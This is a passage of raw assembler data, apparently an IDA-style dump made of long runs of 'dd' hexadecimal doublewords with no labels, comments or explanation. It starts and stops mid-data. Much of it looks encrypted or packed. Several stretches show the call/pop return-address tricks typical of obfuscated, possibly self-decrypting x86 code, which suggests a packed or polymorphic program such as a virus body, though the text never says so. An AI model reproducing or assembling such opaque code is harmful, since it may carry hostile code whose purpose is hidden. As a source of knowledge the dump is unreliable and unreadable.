0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F4544FF8h dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 0B6C77FEFh dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h, 9DC77FEFh dd 54C54D7Ch, 0BA8AAD79h, 91544FF8h, 2BF69B20h, 277E9B7Eh dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h dd 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh, 40F76885h dd 1F2FFB5Bh, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah dd 0E2CD3ED0h, 0D75FD7Ah, 58C77BEFh, 0F1C0707Ch, 5D73DCC8h dd 2C7F518Ah, 15E002D0h, 873DCC8h, 0E574E592h, 0F8254D7Ah dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah dd 69B65779h, 0EAC402FFh, 1AC87D7Ch, 0F373DCCBh, 0FCF8EC0Fh dd 0BA544F0Bh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 9DC402F7h, 0A1C87D7Ch dd 2F73DCCBh, 12F8F10Fh, 0CD544F0Bh, 0E4DE152Ah, 4AB6FD7Ah dd 7975FD7Eh, 0EF36885h, 0C3F8FB5Bh, 29544BB4h, 3D6DF9F0h dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h dd 0CB8A3E78h, 29544FF8h, 96514ACEh, 74C1FF0Eh, 4E13F2CAh dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h dd 68B65778h, 0EAC77FEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h dd 708AFD7Ah, 0F4544FFCh, 0CB1060F7h, 0A0F8FB5Bh, 4ECD3E39h dd 0D075FD7Ah, 0B6C77BEFh, 0CEB57E7Ch, 1A8935F1h, 0D3C77FEFh dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h dd 475FD7Ah, 99AB17FBh, 0EAFCFB5Bh, 4ACF7D86h, 0E573DCC8h dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 7FC77BE8h, 0ADFCBD7Ch dd 91544FF0h, 79F835F1h, 0E3544AC8h, 40F76F85h, 7FFDFB5Bh dd 4801F3Ch, 5E75FD6Dh, 9DFF7F79h, 1A35FB5Bh, 0EAC25BE0h dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0EFF7779h, 0ECF8FB5Bh dd 29544AEEh, 2F2B5989h, 0CB75FD72h, 57F36F85h, 0AF6FB5Bh dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0EAC23890h dd 6BCF707Ch, 7973DCC8h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh dd 0A226FD7Eh, 0B6C773E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 988B17FBh, 25F8FB5Bh dd 0CD544FF4h, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h dd 0ECFB40F7h, 0EF46FB5Bh, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h dd 0F4544FF4h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh dd 969E0479h, 0ABB69C82h, 57FB40F7h, 0F3CDFB5Bh, 0C075FD7Ah dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 25EE78F7h, 0D08AFB5Bh dd 16EBCA8Bh, 5 dup(0) dd 4340101h, 6210000h, 0AE9h, 2C925A00h, 2A23C56Fh, 9092B9B3h dd 28B0Fh, 0E88A0000h, 0D08B6650h, 0DE990h, 0D0EA0000h dd 0E1DECF1Ch, 0F91A1397h, 6A71046Ch, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 5B2256FBh, 1E08F1F3h, 0FE8283Fh, 0 dd 9DFBC2BCh, 52EDDF97h, 9968E5CEh, 0BA6651A5h, 6A5F588Eh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 94A4BB92h, 858DC601h, 621B9A0h, 32A98D8Bh dd 0B552061Bh, 53505926h, 0AE9h, 0B557A200h, 21B031C5h dd 5BC8F97Eh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0FA1AC357h, 601CE034h dd 18E19589h, 7E8061Bh, 97000000h, 5B7D6B0Ah, 81668FE4h dd 5E873BE9h, 0BF006A61h, 50155B4Bh, 8B60006Ah, 1B2C758Dh dd 95FF6106h, 61B1A01h, 1EFD958Bh, 63E9061Bh, 8B000006h dd 0E8FBh, 815D0000h, 21B9A5EDh, 0C9816606h, 8529715Bh dd 61B2501h, 0E42BA66h, 4E8h, 0FA000h, 5B9AB900h, 0E9507742h dd 6, 6D813BF4h, 448B1223h, 0BA600424h, 653A7424h, 8B61CA8Bh dd 0E8525000h, 13h, 87ABFDF1h, 59E61893h, 77283422h, 6012EF0Ch dd 0BFBF357Bh, 5A4EC42h, 0F310F5Ah, 28Fh, 5ACE8B00h, 24448958h dd 58F98B04h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 98C35747h, 0FFE3FB28h, 1B220595h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0F7B0370Bh, 57F4CDF5h, 0BA66D107h, 0B58DE95Dh, 621B86Fh dd 0C7B5DF80h, 67655206h, 56006A6Dh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0B6DCAF45h dd 8529FF60h, 61B256Dh, 0BC19D8Bh, 46C7061Bh, 636E6F04h dd 52006A6Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0BD8E428Fh, 0CC061C79h, 2B8D958Bh, 64BA061Bh dd 0C72E8222h, 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0C81CBBC3h, 6A3F0Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 3DC35747h dd 0D08BF813h, 3466BB66h, 0B86F858Dh, 880F0621h, 6, 3399D89h dd 8950061Bh, 0BD892404h, 61B0961h, 3C595FFh, 8166061Bh dd 0B9FF2DFh, 43840FC0h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0CA1AC351h dd 898928C6h, 1B22B58Dh, 10E906h, 235F0000h, 83D1E884h dd 8B2CCE7Bh, 0D392EBDBh, 0FDE90D6Dh, 0F000003h, 4E8FFB7h dd 2C000000h, 0B6000001h, 525050E9h, 0DE9h, 76508D00h dd 28D94AD5h, 4FFCA2h, 310F5BFBh, 5ADE8B66h, 24448B58h dd 13E804h, 0FE780000h, 0F9464AC0h, 0D1A3FC0h, 8A07EA89h dd 73E43F8Ah, 5AFA8A5Ah, 0E860008Bh, 0Ah, 153D0438h, 0EA26CE95h dd 6160958Eh, 61F18A59h, 4244489h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 540D2788h dd 11E9h, 24F92200h, 0E6CCBD33h, 0B8759B85h, 378092A6h dd 95FFAA8Fh, 61B2205h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 39C35040h, 0DE7BF305h, 8D80B2F5h, 21B86FB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0FE9A5A1h, 97000000h, 0A00514C2h, 762B7CDFh dd 55AB7B0Eh, 6C7421Ch, 36343831h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0DCC35646h, 995610DEh, 0BD950B0Bh dd 0C7061B32h, 2D370446h, 6A3134h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 77A139C3h, 0A0FC0DDFh dd 0C7DA8B2Ch, 846h, 0D1800000h, 6A006A72h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FA49C350h dd 87811541h, 0F883819h, 858DCBBFh, 621B86Fh, 35E38166h dd 958951E7h, 61B1C71h, 0F2B75059h, 8B240489h, 1B12F98Dh dd 0C595FF06h, 89061B03h, 1B1BF5B5h, 0FC00B06h, 3084h dd 0C1850900h, 0E9061B06h, 238h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0BC35545h, 49B3BA5Bh, 0F0AA32Fh dd 13086816h, 8B669C95h, 240481FEh, 636AEE24h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0ABC35545h, 0B70F66B2h dd 595FFD2h, 81061B22h, 5BDBEF7h, 6FB58D25h, 6A0621B8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0EC62C357h, 91DE411h, 4606C708h, 6A656C69h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8938C353h, 1B29E18Dh, 29B58906h, 8A061B1Fh dd 446C7F7h, 636E6F6Dh, 12E9h, 2B0FC00h, 0AD684932h, 0E58AD81Dh dd 0D4193BACh, 0C7CB2B9Fh, 616C0846h, 6A7373h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 2291E0C3h, 1CEA9C7Ch, 89BBE0E9h, 1B2FF9BDh, 0C46C706h dd 0 dd 1DB19523h, 6A061Bh, 23BDBD89h, 858D061Bh, 621B86Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 24C35343h dd 862A2CBFh, 4F01AF60h, 0DAB70F3Fh, 24048950h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9FC35646h, 0F647170Ch dd 0E38166D0h, 95FF7ADEh, 61B03C5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0EEC35343h, 262ACC21h, 66D371CEh dd 0E8C75AB9h, 12h, 1FAC89A7h, 8D00B162h, 9669DC38h, 0F4B9FD9Fh dd 0BD8956E3h, 61B25E9h, 0FC00B5Bh, 4E84h, 8E800h, 7FA70000h dd 0BDE01BD0h, 11B96CEBh, 596E4DCAh, 57E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 10E9A642h, 57000000h, 0F4805964h, 6FBFDD38h, 0E4E801DEh dd 6650EF7Ah, 0E9E8CEBFh, 0FFFFFA2Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 82C35646h, 7104B58Dh, 6A061Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 886AC9C3h, 4C995160h, 0B8E8AB70h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B6C35343h dd 0E6FFECB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0FCC35747h, 0D0C6C249h, 0C18B52F8h, 0C0A68D8Dh dd 89F50621h, 1B24298Dh, 0BD03BA06h, 85C70E4Ch, 61B0765h dd 6B1Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 9AC35141h, 32B9BD33h, 85C7061Bh, 61B13D1h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 48C35747h dd 45B5FFB1h, 66061B1Dh, 0CF2EDE81h, 2F8595FFh, 6A061Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 114EEC3h, 0BD89A646h, 61B0C85h, 95FF006Ah, 61B2205h dd 78EBC08Bh, 18B7DC3Eh, 16F3AAFAh, 891E8A63h, 0C46ADDC5h dd 43726728h, 9E2AF47Ah, 76641EFFh, 425A55F1h, 8DA412ABh dd 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h dd 14BD4BA6h, 62340C6Eh, 6027C68h, 4118C4DAh, 8E37490Bh dd 0A4DF258h, 0DAAD3F09h, 0C2891519h, 147C886h, 0B64227B7h dd 4C9B76FEh, 0FF48877Ah, 94EAE498h, 0AC4BA77Fh, 99964B61h dd 8D8DBFCBh, 3BE9h, 0BD8B6000h, 61B093Dh, 3304EF83h, 0BBC18BC9h dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh dd 0AE8C88Bh, 0A5000000h, 37E36325h, 0F0B3D3F8h, 8B5FF8FAh dd 1B303DB5h, 3CC78106h, 8A000074h, 51DB33E6h, 8E9h, 0D2DADC00h dd 6CA49333h, 148B5801h, 29D5801Fh, 0DE70EA81h, 8D8B5CD1h dd 61B25F9h, 55DCC281h, 6E8518Fh, 0BA000000h, 0A420E6C1h dd 0C281595Bh, 7ABF6C21h, 0E81F1489h, 10h, 0B933E0F1h dd 2CF95A12h, 0CE4EBA9Ch, 40360DC9h, 66595CB4h, 83054CB9h dd 8B5203EBh, 814B58C2h, 0AFDF8FE8h, 88FB8131h, 0FFFFF8Ch dd 2485h, 12E900h, 4650000h, 3C7ABB08h, 0C05149ADh, 0E7433527h dd 0C8EEFA94h, 1EE9h, 0FBB9EA00h, 545D8E22h, 2AD68121h dd 0E9082A15h, 0FFFFFF6Eh, 3BD3A029h, 31C26256h, 8DBED7B7h dd 21C3248Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 5BBD10CBh, 0A984524h, 0F9B70F96h dd 24298D89h, 0B6BF061Bh, 0C73F80D4h, 1B076585h, 60EC06h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 9F3F39Dh, 85C78C76h, 61B13D1h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F5C35545h dd 72D8F588h, 6B05611Eh, 31BDB5FFh, 6A061Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 716CF4C3h dd 6BE0B901h, 0BD8B0753h, 61B1349h, 2F8595FFh, 6A061Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0DB44DDC3h, 6ACBA72h, 6A2BAAh, 220595FFh, 0C08B061Bh dd 5EB83BEBh, 719E64C6h, 8D9EA03h, 8DDE43F6h, 884117B6h dd 0D66D7201h, 0AEEFF8E3h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h dd 113154EDh, 43186637h, 0E9CDA898h, 74081777h, 0B3323C11h dd 2AE941h, 4C70000h, 24h, 0E800h, 815D0000h, 21C375EDh dd 24448B06h, 11858904h, 0B8061B00h, 0 dd 4CD38D8Dh, 0E1FF061Bh, 6754B8h, 0FDCAFE00h, 72A8083Bh dd 388A4CB0h, 0ABA80838h, 9075EAD5h, 78A80838h, 0BA8A4CB1h dd 0D557AE5Dh, 808A4CB1h, 0ABA80839h, 4B75EAD5h, 1BA8083Eh dd 0D58A4CB6h, 85A8083Eh, 4F8A4CB6h, 0ABA8083Fh, 2575EAD5h dd 906BD42Fh, 0C003130Bh, 52899238h, 80BB90A7h, 0D1215783h dd 43ABD6B4h, 9120D42Fh, 0C003130Bh, 52899200h, 806A90A7h dd 0D1215783h, 43ABD680h, 929FD42Fh, 0C003130Bh, 5289920Ch dd 830690A7h, 0D1215783h, 43ABD69Ch, 9278D42Fh, 0C003130Bh dd 52899218h, 829390A7h, 0D1215783h, 43ABD6E8h, 93F2D42Fh dd 0C003130Bh, 52899264h, 821190A7h, 0D1215783h, 43ABD6E0h dd 9374D42Fh, 0C003130Bh, 5289926Ch, 8D9F90A7h, 0D1215783h dd 43ABD6F8h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 644E68C0h, 0A8ED96A4h, 458A152Ah, 67A02429h dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h dd 2D3AAE63h, 848C0E24h, 11AB5342h, 55FFEA22h, 0ABA4245Dh dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h dd 0EE27BFEAh, 0E704DB2Fh, 9475130Bh, 0D9020112h, 6439B9A0h dd 0EC79AEA4h, 41AE51A1h, 0F822DC09h, 0BA8C3499h, 0DF103773h dd 0C821732Ah, 751BFD28h, 0FD5BEA2Ch, 508C152Bh, 0E9009881h dd 0ABAE7011h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 644F28C0h dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah, 4FA9C430h dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6439B9A0h dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h dd 0BE290BA2h, 43ABD0BEh, 0DFA02429h, 4D1957h, 54A8515Eh dd 0D775532Ah, 52B35037h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h dd 0D9F9FA31h, 6439B9A0h, 0D79AEA4h, 2320949Ah, 328C651Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h, 0A32851A2h dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h dd 0F822DC08h, 0BA8C3499h, 0FEF8E173h, 0F6269FA7h, 85575783h dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h dd 0D775152Ah, 52B35FDBh, 0C8204526h, 751BFD28h, 0F55BEA2Ch dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 441F87D5h, 8C2357B9h dd 0EF491786h, 0E704DB2Fh, 9475130Bh, 0BD28E9C4h, 8600BE4Ch dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h, 0D018EA80h dd 0DFAE4AA3h, 8558B9E2h, 0F832DC08h, 0BA8C3499h, 94103771h dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 0D775BF86h, 52B35037h, 7726DDA1h, 0CE25FB63h, 43ABA686h dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h dd 54A8515Eh, 7732732Ah, 0D903376Bh, 6439B9B0h, 327BAEA4h dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h dd 0FDEC152Ah, 0FFCEB824h, 0F6268FA7h, 87575783h, 320A09Ah dd 0CE25FB0Eh, 43ABA686h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 644270C0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h dd 0CE2559D7h, 43ABD6B0h, 2532DCF1h, 0BA8C34EEh, 0A8EDD871h dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 756BFB38h, 0DF07462Ch dd 528995D3h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh dd 863C8FA7h, 0D9FB5783h, 644E64B0h, 0DD7BAEA4h, 5863E96Fh dd 0ABA851A2h, 3075195Fh, 9632DCAAh, 168C34E9h, 90D9CB2Fh dd 9675130Bh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h dd 3044BAh, 9EE900h, 6E60000h, 3737CC6Bh, 18E2F998h, 3A39CE71h dd 0EEB009Fh, 0FFA5C867h, 6100A7D2h, 2CCB6E8Ah, 58F796D7h dd 2ED17483h, 439A19BCh, 1E38E9B4h, 0D81B754Dh, 2E45A03Dh dd 8D1BA23Dh, 3CF90671h, 2B372C45h, 0B6C540C1h, 0ED905F34h dd 0B756FA50h, 0C88E6C70h, 47B7FA3Eh, 48213E8Dh, 1EC134C9h dd 0C1F677CEh, 32Fh, 0BC86A900h, 0A13ED91Bh, 0E5822552h dd 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh dd 0E37C234Fh, 0AE47E610h, 0C9356824h, 59E90621h, 49FFF9B4h dd 0F271A19h, 21C9C4B8h, 0E8C50306h, 9, 478B3862h, 5AD43EAAh dd 0B259F8ABh, 8FC181E1h, 6600006Fh, 0CAB8D88Bh, 8100001Bh dd 533256F6h, 5F31FF7Dh, 5E2FB256h, 0E45DC781h, 8F0F1DBEh dd 0 dd 0D6E6F781h, 66606754h, 0F59EFBAh, 68Eh, 2FC08100h, 613A72C5h dd 5F74C781h, 0F9BE6B2Dh, 897E2506h, 0F7BF0F39h, 4804E983h dd 0FFBB850Fh, 8166FFFFh, 0EB0B90D6h, 1150B304h, 0E04E929h dd 0C0680000h, 0E90621CCh, 0FFF9B3C8h, 21CDB668h, 0B3BEE906h dd 9B68FFF9h, 0E90621CEh, 0FFF9B3B4h, 21CF3568h, 0B3AAE906h dd 0AF68FFF9h, 0E90621D2h, 0FFF9B3A0h, 21D57868h, 0B396E906h dd 0B268FFF9h, 0E90621D6h, 0FFF9B38Ch, 36D97480h, 9336D5A1h dd 0F08F363Ch, 9A3DD81Bh, 0E2852C45h, 7D745D7Fh, 0D49C33D6h dd 7C798E31h, 0CAA53ADDh, 0AF568827h, 0E9B7A930h, 5BE7C838h dd 9E37DE1Bh, 0D6791855h, 0A92C9D24h, 0B6D9B23h, 3EE2ECE4h dd 622674FBh, 4BB9C4F5h, 5DF8FBC8h, 4DE68AC0h, 2D66E3F6h dd 0DF720CC7h, 69D0FF75h, 3F59FCh, 3EE90000h, 47961DA7h dd 0C13EC87Dh, 0D67411B8h, 0EB72F056h, 0F5485A64h, 24A71DC4h dd 0AA42C698h, 56FAFC7Ch, 417386BDh, 29CC72Ch, 0EDCF056Fh dd 1089FC68h, 0FC000000h, 23C74D70h, 18B8C9BEh, 91E0212h dd 1B580000h, 0A99C39DCh, 5BFB9EDAh, 23C66986h, 0DC5F6AEFh dd 8657DC59h, 0D93EC87Dh, 7D10E966h, 0D96F3EC8h, 5872B757h dd 0CCC4F559h, 0F601F7F7h, 1238D553h, 0D04FF26Eh, 0C72CA109h dd 0DD60E268h, 0A246E906h, 4E7BC89h, 0A57ECC69h, 0C68B2BC6h dd 0C72CA133h, 0C52F42DCh, 0FC69918Fh, 0E289703Fh, 67853Eh dd 7C000000h, 4FB5D4D3h, 0DC836EB6h, 0E5890743h, 0CBA73E5Fh dd 0D8720BAAh, 0F1FCD35Ah, 0F195B552h, 0AEF3B12Eh, 0DE6CC4F4h dd 0FC780441h, 3063A4FAh, 6FC9D945h, 7FAF60E3h, 0AC4CCE71h dd 2C3652A7h, 3A2CCC7h, 0C970896Ah, 5F5D102Ch, 4572AF53h dd 86B4BB5Dh, 56F029Ch, 0FC695CCFh, 10089h, 4B27FC00h dd 9F3F0BA4h, 57966D99h, 7DAD2CB3h, 46C43EC8h, 4A1F2BC4h dd 57F38C2Bh, 0B25522B7h, 6C13DE15h, 0B45720D3h, 0EE9FD81Bh dd 0D66CC004h, 8F32B0D7h, 0C86A15C8h, 1A4D33Eh, 0CB6E895Eh dd 5E5DE432h, 0EC80D508h, 7A1D5B0Eh, 6DEB6DDDh, 5AF369E6h dd 0AE85C4F5h, 0C17D21C0h, 24A1A443h, 2CA65E9Fh, 79331C7h dd 0E2FF4E77h, 2F4941Ah, 738A09BBh, 0EC72C68h, 9C73FA78h dd 0B4962FD6h, 682BB231h, 0C046C72Ch, 0F0961D20h, 633D12CEh dd 62915EE5h, 991C2EC7h, 0E12C31Ah, 88289ECDh, 5C03EEC5h dd 4BEE0AD9h, 7A778CABh, 78BA03D3h, 2B0443C0h, 0AC8AFh dd 7E195B00h, 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh dd 617072D7h, 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h dd 0B1B24BC8h, 0DCCD38E9h, 6BE86D66h, 3EC87D92h, 22B757EDh dd 7D1C5957h, 49E86AE0h, 7F22C5B2h, 1DA73EB7h, 0C87D4796h dd 2EAC1A3Eh, 0AE0A28A7h, 6FD5C4F4h, 0B2686DD6h, 0CAA6C72Ch dd 88658E27h, 27C06792h, 2F08A523h, 6B3470FFh, 8D25FDE1h dd 1903ED6Bh, 5B74EC56h, 0C3E2FC69h, 63000000h, 23C3628Ch dd 39DC1B1Dh, 731A579Ch, 7AB469DAh, 0EFC43EC8h, 25BA5E01h dd 0F308A74Ah, 81C46104h, 8020C7B2h, 0B92378Eh, 0AA81684h dd 0BA16A23Bh, 4F702218h, 86C266h, 26C9A67Dh, 0EA6FA382h dd 358455DAh, 6DDBC72Ch, 0DAEB68EBh, 0A53D1290h, 0AAC79C1Fh dd 7E058003h, 0CD0ED97Fh, 35D47412h, 5C2CD39Eh, 43C0B355h dd 0D2805A33h, 65000009h, 0B64DEC87h, 617619B8h, 0B84FF299h dd 6A8120BBh, 2449E88Fh, 7F26537Eh, 4AED0BE0h, 862550A7h dd 40E30CE3h, 29A62DA1h, 38E9B0D0h, 1B04BEAFh, 959837DEh dd 90374310h, 0C87DF20Bh, 57F78D3Eh, 4BD27582h, 7DB049C6h dd 78763EC8h, 4BEB59D9h, 0DC1B66ECh, 0F07215E2h, 30D39C57h dd 7FF8FB91h, 890C8F3Ah, 7D76870Ch, 7B093EC8h, 59E056DBh dd 976CC4F5h, 3119B659h, 3E33D18Dh, 0EA7311C5h, 2A501F98h dd 6A52EA83h, 2879FA65h, 190BAB2Dh, 17E05C4h, 94EBBD0Bh dd 429B189Dh, 1D74CB9Fh, 0AF4B07A7h, 439E62CAh, 7716E05Eh dd 1FF477F9h, 